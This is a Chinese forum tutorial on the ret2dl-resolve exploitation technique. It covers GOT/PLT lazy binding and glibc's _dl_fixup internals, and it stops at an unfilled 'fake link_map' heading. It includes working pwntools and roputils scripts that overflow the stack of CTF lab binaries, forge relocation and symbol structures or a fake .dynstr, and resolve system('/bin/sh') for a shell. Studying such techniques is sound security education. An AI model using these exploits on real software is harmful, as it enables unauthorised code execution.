用户
搜索
  • TA的每日心情

    2017-12-28 15:34
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    版主

    Rank: 7Rank: 7Rank: 7

    70

    主题

    249

    帖子

    1484

    魔法币
    收听
    0
    粉丝
    55
    注册时间
    2016-6-21

    i春秋认证春秋巡逻i春秋签约作者春秋游侠春秋文阁

    发表于 2018-8-24 12:04:15 208863

    作者:Tangerine@SAINTSEC

    本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出
    一直以来都有读者向笔者咨询教程系列问题,奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱,故无法解答,望见谅
    如有关于该系列教程的疑问建议联系论坛的原作者ID:Tangerine

    0x00 got表、plt表与延迟绑定

    在之前的章节中,我们无数次提到过got表和plt表这两个结构。这两个表有什么不同?为什么调用函数要经过这两个表?ret2dl-resolve与这些内容又有什么关系呢?本节我们将通过调试和“考古”来回答这些问题。
    我们先选择程序~/XMAN 2016-level3/level3进行实验。这个程序在main函数中和vulnerable_function中都调用了write函数,我们分别在两个call _write和一个call _read上下断点,调试观察发生了什么。
    调试 启动后程序断在第一个call _write

    此时我们按F7跟进函数,发现EIP跳到了.plt表上,从旁边的箭头我们可以看到这个jmp指向了后面的push 18h; jmp loc_8048300

    我们继续F7执行到jmp loc_8048300发生跳转,发现这边又是一个push和一个jmp,这段代码也在.plt上。

    同样的,我们直接执行到jmp执行完,发现程序跳转到了ld_2.24.so上,这个地址是loc_F7F5D010

    到这里,有些人可能已经发现了不对劲。刚刚的指令明明是jmp ds:off_804a008,这个F7F5D010是从哪里冒出来的呢?其实这行jmp的意思并不是跳转到地址0x0804a008执行代码,而是跳转到地址0x0804a008中保存的地址处。同理,一开始的jmp ds:off_804a018也不是跳转到地址0x0804a018.OK,我们来看一下这两个地址里保存了什么。

    回到call _write F7跟进后的那张图,跟进后的第一条指令是jmp ds:off_804a018,这个地址位于.got.plt中。我们看到其保存的内容是loc_8048346,后面还跟着一个DATA XREF:_write↑r. 说明这是一个跟write函数相关的代码引用的这个地址,上面的有一个同样的read也说明了这一点。而jmp ds:0ff_804a008也是跳到了0x0804a008保存的地址loc_F7F5D010处。
    回到刚刚的eip,我们继续F8单步往下走,执行到retn 0Ch,继续往下执行就到了write函数的真正地址


    现在我们可以归纳出call write的执行流程如下图:

    然后我们F9到断在call _read,发现其流程也和上图差不多,唯一的区别在于addr1和push num中的数字不一样,call _read时push的数字是0

    接下来我们让程序执行到第二个call _write,F7跟进后发现jmp ds:0ff_804a018旁边的箭头不再指向下面的push 18h

    我们查看.got.plt,发现其内容已经直接变成了write函数在内存中的真实地址。

    由此我们可以得出一个结论,只有某个库函数第一次被调用时才会经历一系列繁琐的过程,之后的调用会直接跳转到其对应的地址。那么程序为什么要这么设计呢?
    要想回答这个问题,首先我们得从动态链接说起。为了减少存储器浪费,现代操作系统支持动态链接特性。即不是在程序编译的时候就把外部的库函数编译进去,而是在运行时再把包含有对应函数的库加载到内存里。由于内存空间有限,选用函数库的组合无限,显然程序不可能在运行之前就知道自己用到的函数会在哪个地址上。比如说对于libc.so来说,我们要求把它加载到地址0x1000处,A程序只引用了libc.so,从理论上来说这个要求不难办到。但是对于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序来说,0x1000这个地址可能就被liba.so等库占据了。因此,程序在运行时碰到了外部符号,就需要去找到它们真正的内存地址,这个过程被称为重定位。为了安全,现代操作系统的设计要求代码所在的内存必须是不可修改的,那么诸如call read一类的指令即没办法在编译阶段直接指向read函数所在地址,又没办法在运行时修改成read函数所在地址,怎么保证CPU在运行到这行指令时能正确跳到read函数呢?这就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,过程链接表)进行辅助了。
    正如我们刚刚分析过的流程,在延迟加载的情况下,每个外部函数的got表都会被初始化成plt表中对应项的地址。当call指令执行时,EIP直接跳转到plt表的一个jmp,这个jmp直接指向对应的got表地址,从这个地址取值。此时这个jmp会跳到保存好的,plt表中对应项的地址,在这里把每个函数重定位过程中唯一的不同点,即一个数字入栈(本例子中write是18h,read是0,对于单个程序来说,这个数字是不变的),然后push got[1]并跳转到got[2]保存的地址。在这个地址中对函数进行了重定位,并且修改got表为真正的函数地址。当第二次调用同一个函数的时候,call仍然使EIP跳转到plt表的同一个jmp,不同的是这回从got表取值取到的是真正的地址,从而避免重复进行重定位。

    0x01 符号解析的过程中发生了什么?

    我们通过调试已经大概搞清楚got表,plt表和重定位的流程了,但是作为一名攻击者来说,只了解这些东西并不够。ret2dl-resolve的核心原理是攻击符号重定位流程,使其解析库中存在的任意函数地址,从而实现got表的劫持。为了完成这一目标,我们就必须得深入符号解析的细节,寻找整个解析流程中的潜在攻击点。我们可以在https://ftp.gnu.org/gnu/glibc/下载到glibc源码,这里我用了glibc-2.27版本的源码。
    我们回到程序跳转到ld_2.24.so的部分,这一段的源码是用汇编实现的,源码路径为glibc/sysdeps/i386/dl-trampoline.S(64位把i386改为x86_64),其主要代码如下:

            .text
                    .globl _dl_runtime_resolve
                    .type _dl_runtime_resolve, @function
                    cfi_startproc
                    .align 16
            _dl_runtime_resolve:
                    cfi_adjust_cfa_offset (8)
                    pushl %eax                # Preserve registers otherwise clobbered.
                    cfi_adjust_cfa_offset (4)
                    pushl %ecx
                    cfi_adjust_cfa_offset (4)
                    pushl %edx
                    cfi_adjust_cfa_offset (4)
                    movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note
                    movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.
                    call _dl_fixup                # Call resolver.
                    popl %edx                # Get register content back.
                    cfi_adjust_cfa_offset (-4)
                    movl (%esp), %ecx
                    movl %eax, (%esp)        # Store the function address.
                    movl 4(%esp), %eax
                    ret $12                        # Jump to function address.
                    cfi_endproc
                    .size _dl_runtime_resolve, .-_dl_runtime_resolve

    其采用了GNU风格的语法,可读性比较差,我们对应到IDA中的反汇编结果中修正符号如下

    _dl_fixup的实现位于glibc/elf/dl-runtime.c,我们首先来看一下函数的参数列表

    _dl_fixup (
    # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
               ELF_MACHINE_RUNTIME_FIXUP_ARGS,
    # endif
               struct link_map *__unbounded l, ElfW(Word) reloc_arg)

    忽略掉宏定义部分,我们可以看到_dl_fixup接收两个参数,link_map类型的指针l对应了push进去的got[1]reloc_arg对应了push进去的数字。由于link_map *都是一样的,不同的函数差别只在于reloc_arg部分。我们继续追踪reloc_arg这个参数的流向。
    如果你真的阅读了源码,你会发现这个函数里头找不到reloc_arg,那么这个参数是用不着了吗?不是的,我们往上面看,会看到一个宏定义

    #ifndef reloc_offset
    # define reloc_offset reloc_arg
    # define reloc_index  reloc_arg / sizeof (PLTREL)
    #endif
    reloc_offset在函数开头声明变量时出现了。
      const ElfW(Sym) *const symtab
        = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    
      const PLTREL *const reloc
        = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
      const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
      const ElfW(Sym) *refsym = sym;
      void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
      lookup_t result;
      DL_FIXUP_VALUE_TYPE value;

    D_PTR是一个宏定义,位于glibc/sysdeps/generic/ldsodefs.h中,用于通过link_map结构体寻址。这几行代码分别是寻找并保存symtab, strtab的首地址和利用参数reloc_offset寻找对应的PLTREL结构体项,然后会利用这个结构体项reloc寻找symtab中的项sym和一个rel_addr.我们先来看看这个结构体的定义。这个结构体定义在glibc/elf/elf.h中,32位下该结构体为

    typedef struct
    {
      Elf32_Addr        r_offset;                /* Address */
      Elf32_Word        r_info;                        /* Relocation type and symbol index */
    } Elf32_Rel;

    这个结构体中有两个成员变量,其中r_offset参与了初始化变量rel_addr,这个变量在_dl_fixup的最后return处作为函数elf_machine_fixup_plt的参数传入,r_offset实际上就是函数对应的got表项地址。另一个参数r_info参与了初始化变量sym和一些校验,而sym和其成员变量会作为参数传递给函数_dl_lookup_symbol_x和宏DL_FIXUP_MAKE_VALUE中,显然我们必须关注一下它。不过首先我们得看一下reloc->r_info参与的其他部分代码。
    首先我们看到这么一行代码

     assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

    这行代码用了一大堆宏,ELFW宏用来拼接字符串,在这里实际上是为了自动兼容32和64位,R_TYPE和前面出现过的R_SYM定义如下:

    #define ELF32_R_SYM(i) ((i)>>8)
    #define ELF32_R_TYPE(i) ((unsigned char)(i))
    #define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))
    所以这一行代码取reloc->r_info的最后一个字节,判断是否为ELF_MACHINE_JMP_SLOT,即7.我们继续往下看
          if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
            {
              const ElfW(Half) *vernum =
                (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
              ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
              version = &l->l_versions[ndx];
              if (version->hash == 0)
                version = NULL;
            }

    这段代码使用reloc->r_info最终给version进行了赋值,这里我们可以看出reloc->r_info的高24位异常可能导致ndx数值异常,进而在version = &l->l_versions[ndx]时可能会引起数组越界从而使程序崩溃。
    看完了这一段,我们回头看一下变量sym, sym同样使用了ELFW(R_SYM)(reloc->r_info)作为下标进行赋值。

    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

    Elfw(Sym)会被处理成Elf32_Sym,定义在glibc/elf/elf.h,结构体如下:

    typedef struct
    {
      Elf32_Word        st_name;                /* Symbol name (string tbl index) */
      Elf32_Addr        st_value;                /* Symbol value */
      Elf32_Word        st_size;                /* Symbol size */
      unsigned char        st_info;                /* Symbol type and binding */
      unsigned char        st_other;                /* Symbol visibility */
      Elf32_Section        st_shndx;                /* Section index */
    } Elf32_Sym;

    这里面的成员变量st_other和st_name都被用到了

      if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
        {
          ………………
          result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                        version, ELF_RTYPE_CLASS_PLT, flags, NULL);
              ………………
    }

    这里省略了部分代码,我们可以从函数名判断出,只有这个if成立,真正进行重定位的函数_dl_lookup_symbol_x才会被执行。ELFW(ST_VISIBILITY)会被解析成宏定义

    define ELF32_ST_VISIBILITY(o)        ((o) & 0x03)

    位于glibc/elf/elf.h,所以我们得知这边的sym->st_other后两位必须为0。
    我们可以看到传入_dl_lookup_symbol_x函数的参数中,第一个参数为strtab+sym->st_name,第三个参数是sym指针的引用。strtab在函数的开头已经赋值为strtab的首地址,查阅资料可知strtab是ELF文件中的一个字符串表,内容包括了.symtab和.debug节的符号表等等。我们根据readelf给出的偏移来看一下这个表。


    可以看到这里面是有read、write、__libc_start_main等函数的名字的。那么函数_dl_lookup_symbol_x为什么要接收这个名字呢?我们进入这个函数,发现这个函数的代码有点多。考虑到我们关心的是重定位过程中不同的reloc_arg是如何影响函数的重定位的,我们在此不分析其细节。

    _dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
                         const ElfW(Sym) **ref,
                         struct r_scope_elem *symbol_scope[],
                         const struct r_found_version *version,
                         int type_class, int flags, struct link_map *skip_map)
    {
      const uint_fast32_t new_hash = dl_new_hash (undef_name);
      unsigned long int old_hash = 0xffffffff;
      struct sym_val current_value = { NULL, NULL };
      .............
    
      /* Search the relevant loaded objects for a definition.  */
      for (size_t start = i; *scope != NULL; start = 0, ++scope)
        {
          int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
                                 ¤t_value, *scope, start, version, flags,
                                 skip_map, type_class, undef_map);
          if (res > 0)
            break;
    
          if (__glibc_unlikely (res < 0) && skip_map == NULL)
            {
              /* Oh, oh.  The file named in the relocation entry does not
                 contain the needed symbol.  This code is never reached
                 for unversioned lookups.  */
              assert (version != NULL);
              const char *reference_name = undef_map ? undef_map->l_name : "";
              struct dl_exception exception;
              /* XXX We cannot translate the message.  */
              _dl_exception_create_format
                (&exception, DSO_FILENAME (reference_name),
                 "symbol %s version %s not defined in file %s"
                 " with link time reference%s",
                 undef_name, version->name, version->filename,
                 res == -2 ? " (no version symbols)" : "");
              _dl_signal_cexception (0, &exception, N_("relocation error"));
              _dl_exception_free (&exception);
              *ref = NULL;
              return 0;
            }
        ...............
    }

    我们看到函数名字会被计算hash,这个hash会传递给do_lookup_x,从函数名和下面对分支的注释我们可以看出来do_lookup_x才是真正进行重定位的函数,而且其返回值res大于0说明寻找到了函数的地址。我们继续进入do_lookup_x,发现其主要是使用用strtab + sym->st_name计算出来的参数new_hash进行计算,与strtab + sym->st_name,sym等并没有什么关系。对比do_lookup_x的参数列表和传入的参数,我们可以发现其结果保存在current_value中。

    do_lookup_x:
    static int
    __attribute_noinline__
    do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
                 unsigned long int *old_hash, const ElfW(Sym) *ref,
                 struct sym_val *result, struct r_scope_elem *scope, size_t i,
                 const struct r_found_version *const version, int flags,
                 struct link_map *skip, int type_class, struct link_map *undef_map)
    
    _dl_lookup_symbol_x:
    int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
                                 ¤t_value, *scope, start, version, flags,
                                 skip_map, type_class, undef_map);

    至此,我们已经分析完了reloc_arg对函数重定位的影响,我们用下面这张图总结一下整个影响过程:

    我们以write函数为例进行调试分析,write的reloc_arg是0x18

    使用readelf查看程序信息,找到JMPREL在0x080482b0

    事实上该信息存储在.rel.plt节里

    我们找到这块内存,按照结构体格式解析数据,可知r->offset = 0x0804a018 , r->info=407,与readelf显示的.rel.plt数据吻合。


    所以是symtab的第四项,我们可以通过#include<elf.h>导入该结构体后使用sizeof算出Elf32_Sym大小为0x10,通过上面readelf显示的节头信息我们发现symtab并不会映射到内存中,可是重定位是在运行过程中进行的,显然在内存中会有相关数据,这就产生了矛盾。通过查阅资料我们可以得知其实symtab有个子集dymsym,在节头表中显示其位于080481cc

    对照结构体,st_name是0x31,接下来我们去strtab找,同样的,strtab也有个子集dynstr,地址在0804822c.加上0x31后为0804825d

    0x02 32位下的ret2dl-resolve

    通过一系列冗长的源码阅读+调试分析,我们捋了一遍符号重定位的流程,现在我们要站在攻击者的角度看待这个流程了。从上面的分析结果中我们知道其实最终影响解析的是函数的名字,那么如果我们强行把write改成system呢?我们来试一下。

    我们强行修改内存数据,然后继续运行,发现劫持got表成功,此时write表项是system的地址。

    那么我们是不是可以修改dynstr里面的数据呢?通过查看内存属性,我们很不幸地发现.rel.plt. .dynsym .dynstr所在的内存区域都不可写。

    这样一来,我们能够改变的就只有reloc_arg了。基于上面的分析,我们的思路是在内存中伪造Elf32_Rel和Elf32_Sym两个结构体,并手动传递reloc_arg使其指向我们伪造的结构体,让Elf32_Sym.st_name的偏移值指向预先放在内存中的字符串system完成攻击。为了地址可控,我们首先进行栈劫持并跳转到0x0804834B

    为此我们必须在bss段构造一个新的栈,以便栈劫持完成后程序不会崩溃。ROP链如下:

    #!/usr/bin/python
    #coding:utf-8
    
    from pwn import *
    
    context.update(os = 'linux', arch = 'i386')
    
    start_addr = 0x08048350
    read_plt = 0x08048310
    write_plt = 0x08048340
    write_plt_without_push_reloc_arg = 0x0804834b
    leave_ret = 0x08048482
    pop3_ret = 0x08048519
    pop_ebp_ret = 0x0804851b
    new_stack_addr = 0x0804a200                                                        #bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
    
    io = remote('172.17.0.2', 10001)
    
    payload = ""
    payload += 'A'*140                                                                        #padding
    payload += p32(read_plt)                                                        #调用read函数往新栈写值,防止leave; retn到新栈后出现ret到地址0上导致出错
    payload += p32(pop3_ret)                                                        #read函数返回后从栈上弹出三个参数
    payload += p32(0)                                                                        #fd = 0
    payload += p32(new_stack_addr)                                                #buf = new_stack_addr
    payload += p32(0x400)                                                                        #size = 0x400
    payload += p32(pop_ebp_ret)                                                        #把新栈顶给ebp,接下来利用leave指令把ebp的值赋给esp
    payload += p32(new_stack_addr)                                
    payload += p32(leave_ret)
    
    io.send(payload)                                                                        #此时程序会停在我们使用payload调用的read函数处等待输入数据
    
    payload = ""
    payload += "AAAA"                                                                        #leave = mov esp, ebp; pop ebp,占位用于pop ebp
    payload += p32(write_plt_without_push_reloc_arg)        #按照我们的测试方案,强制程序对write函数重定位,reloc_arg由我们手动放入栈中
    payload += p32(0x18)                                                                #手动传递write的reloc_arg,调用write
    payload += p32(start_addr)                                                        #函数执行完后返回start
    payload += p32(1)                                                                        #fd = 1
    payload += p32(0x08048000)                                                        #buf = ELF程序加载开头,write会输出ELF
    payload += p32(4)                                                                        #size = 4
    io.send(payload)

    测试结果:

    我们可以看到调用成功了。我们发现其实跳转到write_plt_without_push_reloc_arg上,还是会直接跳转到PLT[0],所以我们可以把这个地址改成PLT[0]的地址。

    接下来我们开始着手在新的栈上伪造两个结构体:

    write_got = 0x0804a018        
    new_stack_addr = 0x0804a500                        #bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
    relplt_addr = 0x080482b0                        #.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg
    dymsym_addr = 0x080481cc                        #.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移构造Elf32_Rel.r_info
    dynstr_addr = 0x0804822c                        #.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf32_Sym.st_name
    
    fake_Elf32_Rel_addr = new_stack_addr + 0x50        #在新栈上选择一块空间放伪造的Elf32_Rel结构体,结构体大小为8字节
    fake_Elf32_Sym_addr = new_stack_addr + 0x5c        #在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体,结构体大小为0x10字节
    binsh_addr = new_stack_addr + 0x74                        #把/bin/sh\x00字符串放在最后面
    
    fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr        #计算伪造的reloc_arg
    
    fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #伪造r_info,偏移要计算成下标,除以Elf32_Sym的大小,最后一字节为0x7
    
    fake_st_name = new_stack_addr + 0x6c - dynstr_addr                #伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system
    
    fake_Elf32_Rel_data = ""
    fake_Elf32_Rel_data += p32(write_got)                                        #r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
    fake_Elf32_Rel_data += p32(fake_r_info)
    
    fake_Elf32_Sym_data = ""
    fake_Elf32_Sym_data += p32(fake_st_name)
    fake_Elf32_Sym_data += p32(0)                                                        #后面的数据直接套用write函数的Elf32_Sym结构体,具体成员变量含义自行搜索
    fake_Elf32_Sym_data += p32(0)
    fake_Elf32_Sym_data += p32(0x12)

    我们把新栈的地址向后调整了一点,因为在调试深入到_dl_fixup的时候发现某行指令试图对got表写入,而got表正好就在bss的前面,紧接着bss,为了防止运行出错,我们进行了调整。此外,需要注意的是伪造的两个结构体都要与其首地址保持对齐。完成了结构体伪造之后,我们将这些内容放在新栈中,调试的时候确认整个伪造的链条正确,pwn it!

    0x03 64位下的ret2dl-resolve

    与32位不同,在64位下,虽然_dl_fixup函数的逻辑没有改变,但是许多相关的变量和结构体都有了变化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定义了
    reloc_offset和reloc_index

    #define reloc_offset reloc_arg * sizeof (PLTREL)
    #define reloc_index  reloc_arg
    
    #include <elf/dl-runtime.c>

    我们可以可以推断出reloc_arg已经不像32位中是作为一个偏移值存在,而是作为一个数组下标存在。此外,两个关键的结构体也做出了调整:Elf32_Rel升级为Elf64_Rela, Elf32_Sym升级为Elf64_Sym,这两个结构体的大小均为0x18

    typedef struct
    {
      Elf64_Addr        r_offset;                /* Address */
      Elf64_Xword        r_info;                        /* Relocation type and symbol index */
      Elf64_Sxword        r_addend;                /* Addend */
    } Elf64_Rela;
    
    typedef struct
    {
      Elf64_Word        st_name;                /* Symbol name (string tbl index) */
      unsigned char        st_info;                /* Symbol type and binding */
      unsigned char st_other;                /* Symbol visibility */
      Elf64_Section        st_shndx;                /* Section index */
      Elf64_Addr        st_value;                /* Symbol value */
      Elf64_Xword        st_size;                /* Symbol size */
    } Elf64_Sym;

    此外,_dl_runtime_resolve的实现位于glibc/sysdeps/x86_64/dl-trampoline.h中,其代码加了宏定义之后可读性很差,核心内容仍然是调用_dl_fixup,此处不再分析。
    最后,在64位下进行ret2dl-resolve还有一个问题,即我们在分析源码时提到但是应用中却忽略的一个潜在数组越界:

          if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
            {
              const ElfW(Half) *vernum =
                (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
              ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
              version = &l->l_versions[ndx];
              if (version->hash == 0)
                version = NULL;
            }

    这里会使用reloc->r_info的高位作为下标产生了ndx,然后在link_map的成员数组变量l_versions中取值作为version。为了在伪造的时候正确定位到sym,r_info必然会较大。在32位的情况下,由于程序的映射较为紧凑, reloc->r_info的高24位导致vernum数组越界的情况较少。由于程序映射的原因,vernum数组首地址后面有大片内存都是以0x00填充,攻击导致reloc->r_info的高24位过大后从vernum数组中获取到的ndx有很大概率是0,从而由于ndx异常导致l_versions数组越界的几率也较低。我们可以对照源码,IDA调试进入_dl_fixup后,将断点下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。

    中断后切换到汇编

    单步运行到movzx edx, word ptr [edx+esi*2]一行

    观察edx的值,此处为0x0804827c, edx+esi*2 = 0x08048284,查看程序的内存映射情况

    一直到地址0x0804b000都是可读的,所以esi,也就是reloc->r_info的高24位最高可以达到0x16c2,考虑到.dymsym与.bss的间隔,这个允许范围基本够用。继续往下看

    此时的edi = 0xf7fa9918,[edi+170h]保存的值为0Xf7f7eb08,其后连续可读的地址最大值为0xf7faa000,因此mov ecx, [edx+4]一行,按照之前几行汇编代码的算法,只要取出的edx值不大于(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f,version = &l->l_versions[ndx];就不会产生非法内存访问。仔细观察会发现0x0804827c~0x0804b000之间几乎所有的2字节word型数据都符合要求。因此,大部分情况下32位的题目很少会产生ret2dl-resolve在此处造成的段错误。
    而对于64位,我们用相同的方法调试本节的例子~/XMAN 2016-level3_64/level3_64会发现由于我们常用的bss段被映射到了0x600000之后,而dynsym的地址仍然在0x400000附近,r_info的高位将会变得很大,再加上此时vernum也在0x400000附近,vernum[ELFW(R_SYM) (reloc->r_info)]将会有很大概率落在在0x400000~0x600000间的不可读区域

    从而产生一个段错误。为了防止出现这个错误,我们需要修改判断流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]为0,从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(对应的,32位下为link_map+0xe4),所以我们需要泄露link_map地址并将link_map置为0
    64位下的ret2dl-resolve与32位下的ret2dl-resolve除了上述一些变化之外,exp构造流程并没有什么区别,在此处不再赘述,详细脚本可见于附件。
    理论上来说,ret2dl-resolve对于所有存在栈溢出,没有Full RELRO(如果开启了Full RELRO,所有符号将会在运行时被全部解析,也就不存在_dl_fixup了)且有一个已知确定的栈地址(可以通过stack pivot劫持栈到已知地址)的程序都适用。但是我们从上面的64位ret2dl-resolve中可以看到其必须泄露link_map的地址才能完成利用,对于32位程序来说也可能出现同样的问题。如果出现了不存在输出的栈溢出程序,我们就没办法用这种套路了,那我们该怎么办呢?接下来的几节我们将介绍一些不依赖泄露的攻击手段。

    0x04 使用ROPutils简化攻击步骤

    从上面32位和64位的攻击脚本我们不难看出来,虽然构造payload的过程很繁琐,但是实际上大部分代码的格式都是固定的,我们完全可以自己把它们封装成一个函数进行调用。当然,我们还可以当一把懒人,直接用别人写好的库。是的,我说的就是一个有趣的,没有使用说明的项目ROPutils(https://github.com/inaz2/roputils)
    这个python库的作者似乎挺懒的,不仅不写文档,而且代码也好几年没更新了。不过这并不妨碍其便利性。我们直接看代码roputils.py,其大部分我们会用到的东西都在ROP*和FormatStr这几个类中,不过ROPutils也提供了其他的辅助工具类和函数。当然,在本节中我们只会介绍和ret2dl-resolve相关的一些函数的用法,不做源码分析和过多的介绍。
    我们可以直接把roputils.py和自己写的脚本放在同一个文件夹下以使用其中的功能。以~/XMAN 2016-level3/level4为例。其实我们会发现fake dl-resolve并不一定需要进行栈劫持,我们只要确保伪造的link_map所在地址已知,且地址能被作为参数传入_dl_fixup即可。我们先来构造一个栈溢出,调用read读取伪造的link_map到.bss中。

    from roputils import *
    #为了防止命名冲突,这个脚本全部只使用roputils中的代码。如果需要使用pwntools中的代码需要在import roputils前import pwn,以使得roputils中的ROP覆盖掉pwntools中的ROP
    
    rop = ROP('./level4')                        #ROP继承了ELF类,下面的section, got, plt都是调用父类的方法
    bss_addr = rop.section('.bss')
    read_got = rop.got('read')
    read_plt = rop.plt('read')
    
    offset = 140
    
    io = Proc(host = '172.17.0.2', port = 10001)        #roputils中这里需要显式指定参数名
    
    buf = rop.fill(offset)                        #fill用于生成填充数据
    buf += rop.call(read_plt, 0, bss_addr, 0x100)        #call可以通过某个函数的plt地址方便地进行调用
    buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr)        #dl_resolve_call有一个参数base和一个可选参数列表*args。base为伪造的link_map所在地址,*args为要传递给被劫持调用的函数的参数。这里我们将"/bin/sh\x00"放置在bss_addr处,link_map放置在bss_addr+0x20处
    
    io.write(buf)
    
    然后我们直接用dl_resolve_data生成伪造的link_map并发送
    buf = rop.string('/bin/sh')                
    buf += rop.fill(0x20, buf)                #如果fill的第二个参数被指定,相当于将第二个参数命名的字符串填充至指定长度
    buf += rop.dl_resolve_data(bss_addr+0x20, 'system')        #dl_resolve_data的参数也非常简单,第一个参数是伪造的link_map首地址,第二个参数是要伪造的函数名
    buf += rop.fill(0x100, buf)
    
    io.write(buf)

    然后我们直接使用io.interact(0)就可以打开一个shell了。

    关于roputils的用法可以参考其github仓库中的examples,其他练习程序不再提供对应的roputils写法的脚本。

    0x05 在.dynamic节中伪造.dynstr节地址

    在32位的ret2dl-resolve一节中我们已经发现,ELF开发小组为了安全,设置.rel.plt. .dynsym .dynstr三个重定位相关的节区均为不可写。然而ELF文件中有一个.dynamic节,其中保存了动态链接器所需要的基本信息,而我们的.dynstr也属于这些基本信息中的一个。

    更棒的是,如果一个程序没有开启RELRO(即checksec显示No RELRO).dynamic节是可写的。(Partial RELRO和Full RELRO会在程序加载完成时设置.dynamic为不可写,因此尽管readelf显示其为可写也不可相信)


    .dynamic节中只包含Elf32/64_Dyn结构体类型的数据,这两个结构体定义在glibc/elf/elf.h下

    typedef struct
    {
      Elf32_Sword        d_tag;                        /* Dynamic entry type */
      union
        {
          Elf32_Word d_val;                        /* Integer value */
          Elf32_Addr d_ptr;                        /* Address value */
        } d_un;
    } Elf32_Dyn;
    
    typedef struct
    {
      Elf64_Sxword        d_tag;                        /* Dynamic entry type */
      union
        {
          Elf64_Xword d_val;                /* Integer value */
          Elf64_Addr d_ptr;                        /* Address value */
        } d_un;
    } Elf64_Dyn;

    从结构体的定义我们可以看出其由一个d_tag和一个union类型组成,union中的两个变量会随着不同的d_tag进行切换。我们通过readelf看一下.dynstr的d_tag

    其标记为0x05,union变量显示为值0x0804820c。我们看一下内存中.dynamic节中.dynstr对应的Elf32_Dyn结构体和指针指向的数据。


    因此,我们只需要在栈溢出后程序中仍然存在至少一个未执行过的函数,我们就可以修改.dynstr对应结构体中的地址,从而使其指向我们伪造的.dynstr数据,进而在解析的时候解析出我们想要的函数。
    我们以32位的程序为例,打开~/fake_dynstr32/fake_dynstr32


    这个程序满足了我们需要的一切条件——No RELRO,栈溢出发生在vuln中,exit不会被调用,因此我们可以用上述方法进行攻击。首先我们把所有的字符串从里面拿出来,并且把exit替换成system

    call_exit_addr = 0x08048495
    read_plt = 0x08048300
    start_addr = 0x08048350
    dynstr_d_ptr_address = 0x080496a4
    fake_dynstr_address = 0x08049800
    fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"

    注意由于memset的一部分也会被system覆盖掉,我们应该把剩余的部分设置为\x00,防止后面的符号偏移值错误。memset由于是在read函数运行之前运行的,所以它的符号已经没用了,可以被覆盖掉。
    接下来我们构造ROP链依次写入伪造的dynstr字符串和其保存在Elf32_Dyn中的地址。

    io = remote("172.17.0.2", 10001)
    
    payload = ""
    payload += 'A'*22                                                #padding
    payload += p32(read_plt)                                #修改.dynstr对应的Elf32_Dyn.d_ptr
    payload += p32(start_addr)                                
    payload += p32(0)                                                
    payload += p32(dynstr_d_ptr_address)        
    payload += p32(4)                                                
    io.send(payload)
    sleep(0.5)
    io.send(p32(fake_dynstr_address))                #新的.dynstr地址
    sleep(0.5)
    
    payload = ""
    payload += 'A'*22                                                #padding
    payload += p32(read_plt)                                #在内存中伪造一块.dynstr字符串
    payload += p32(start_addr)                                
    payload += p32(0)                
    payload += p32(fake_dynstr_address)
    payload += p32(len(fake_dynstr_data)+8)        #长度是.dynstr加上8,把"/bin/sh\x00"接在后面
    io.send(payload)
    sleep(0.5)
    io.send(fake_dynstr_data+"/bin/sh\x00")        #把/bin/sh\x00接在后面
    sleep(0.5)

    此时还剩下函数exit未被调用,我们通过前面的步骤伪造了.dynstr,将其中的exit改成了system,因此根据_dl_fixup的原理,此时函数将会解析system的首地址并返回到system上。

    64位下的利用方式与32位下并没有区别,此处不再进行详细分析。

    0x06 fake link_map

